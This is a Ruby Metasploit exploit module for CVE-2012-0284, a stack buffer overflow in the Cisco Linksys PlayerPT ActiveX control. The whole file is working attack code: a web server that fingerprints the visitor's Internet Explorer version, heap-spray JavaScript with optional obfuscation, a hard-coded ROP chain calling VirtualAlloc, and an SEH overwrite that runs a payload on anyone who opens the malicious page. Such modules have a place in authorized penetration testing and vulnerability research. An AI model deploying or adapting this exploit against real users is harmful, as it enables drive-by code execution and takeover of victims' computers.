Cisco Linksys PlayerPT ActiveX Control Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh
  # include Msf::Exploit::Remote::BrowserAutopwn
  #
  # autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
  #  :method     => "SetSource",
  #  :rank       => NormalRanking
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
          as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
          Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
          the SetSource method, allows to trigger a stack based buffer overflow which leads
          to code execution under the context of the user visiting a malicious web page.
        },
        'Author' => [
          'rgod', # Vuln discovery, PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-0284' ],
          [ 'OSVDB', '80297' ],
          [ 'EDB', '18641' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'BadChars' => "\x00\x0d\x0a\x5c",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
        'Platform' => 'win',
        'Targets' => [
          # Cisco Linksys PlayerPT ActiveX Control 1.0.0.15
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Spray' => true,
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'OffsetStackBottom' => 8556
            }
          ],
          [
            'IE 7 on Windows XP SP3 / Windows Vista SP2',
            {
              'Spray' => true,
              'SprayBlocks' => 0x185,
              'SprayOffset' => '0x0',
              'OffsetStackBottom' => 3220
            }
          ],
          [
            'IE 8 on Windows XP SP3',
            {
              'Spray' => false,
              'OffsetRop' => 160,
              'Offset' => 456,
              'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx
              'OffsetStackBottom' => 4108
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-03-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )
  end

  def get_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['SprayOffset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var z=1; z < #{t['SprayBlocks']}; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray
  end

  # rop chain generated with mona.py
  def create_rop_chain()
    rop_gadgets =
      [
        0x77c2f271,	# POP EBP # RETN [msvcrt.dll]
        0x77c2f271,	# skip 4 bytes [msvcrt.dll]
        0x77c5335d,	# POP EBX # RETN [msvcrt.dll]
        0xffffffff,	#
        0x77c127e1,	# INC EBX # RETN [msvcrt.dll]
        0x77c127e1,	# INC EBX # RETN [msvcrt.dll]
        0x77c4e392,	# POP EAX # RETN [msvcrt.dll]
        0x2cfe1467,	# put delta into eax (-> put 0x00001000 into edx)
        0x77c4eb80,	# ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c58fbc,	# XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77c34de1,	# POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7,	# put delta into eax (-> put 0x00000040 into ecx)
        0x77c4eb80,	# ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c14001,	# XCHG EAX,ECX # RETN [msvcrt.dll]
        0x77c479e2,	# POP EDI # RETN [msvcrt.dll]
        0x77c39f92,	# RETN (ROP NOP) [msvcrt.dll]
        0x77c3b8ba,	# POP ESI # RETN [msvcrt.dll]
        0x77c2aacc,	# JMP [EAX] [msvcrt.dll]
        0x77c4e392,	# POP EAX # RETN [msvcrt.dll]
        0x77c1110c,	# ptr to &VirtualAlloc() [IAT msvcrt.dll]
        0x77c12df9,	# PUSHAD # RETN [msvcrt.dll]
        0x77c51025,	# ptr to 'push esp #  ret ' [msvcrt.dll]
      ].pack("V*")

    return rop_gadgets
  end

  def get_payload(my_target)
    case my_target.name
    when /IE 6 on Windows XP SP3/
      my_payload = "\x0c" * my_target['OffsetStackBottom']
      return my_payload
    when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/
      my_payload = "\x0c" * my_target['OffsetStackBottom']
      return my_payload
    when /IE 8 on Windows XP SP3/
      my_payload = rand_text_alpha(my_target['OffsetRop'])
      my_payload << create_rop_chain
      my_payload << make_nops(my_target['Offset'] - my_payload.length)
      my_payload << generate_seh_record(my_target.ret)
      my_payload << payload.encoded
      my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length)
      return my_payload
    end
  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'
    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1] # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2] # IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3] # IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[2] # IE 7 on Windows Vista SP2
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    print_status("User-agent: #{agent}")

    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have a setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    js = ""

    if my_target['Spray']
      p = payload.encoded
      js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
      js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))
      js = get_spray(my_target, js_code, js_nops)

      js = heaplib(js, { :noobfu => true })

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end
    end

    sploit = get_payload(my_target)
    sploit = sploit.gsub(/"/, "\\\"")

    html = <<-MYHTML
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
    <script>
      obj.SetSource("","","","","#{sploit}");
    </script>
    </body>
    </html>
    MYHTML

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end